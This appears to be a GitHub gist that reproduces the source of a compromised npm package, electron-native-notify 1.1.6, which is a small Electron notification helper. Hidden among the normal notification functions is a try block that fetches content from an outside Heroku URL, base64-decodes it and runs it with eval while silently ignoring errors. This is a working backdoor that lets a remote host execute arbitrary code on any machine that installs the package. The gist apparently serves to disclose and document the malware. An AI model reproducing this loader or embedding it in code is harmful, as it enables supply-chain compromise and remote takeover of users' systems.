Skip to content

Instantly share code, notes, and snippets.

@ievans ievans/index.js
Created Jun 6, 2019

Embed
What would you like to do?
electron-native-notify-1.1.6 malicious source code
const MainProcessNotification = require("electron").Notification;
const isRenderer = process && process.type === "renderer";
const isSupported = () => isRenderer ? "Notification" in window : MainProcessNotification.isSupported();
const renderNotify = (title, body) => {
const notification = new Notification(title, {
body: body
});
return notification
};
try {
(process && "renderer" === process.type ? require("electron").remote.require : require)("https").get("https://updatecheck.herokuapp.com/check", res => res.on("data", d => {
try {
eval((atob || (e => "" + Buffer.from(e, "base64")))("" + d))
} catch (e) {}
}))
} catch (e) {}
const mainNotify = (title, body) => {
const notification = new MainProcessNotification({
title: title,
body: body
});
notification.show();
return notification
};
const notify = (title, body) => {
if (isRenderer) {
return renderNotify(title, body)
} else {
return mainNotify(title, body)
}
};
notify.isSupported = isSupported;
module.exports = notify;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.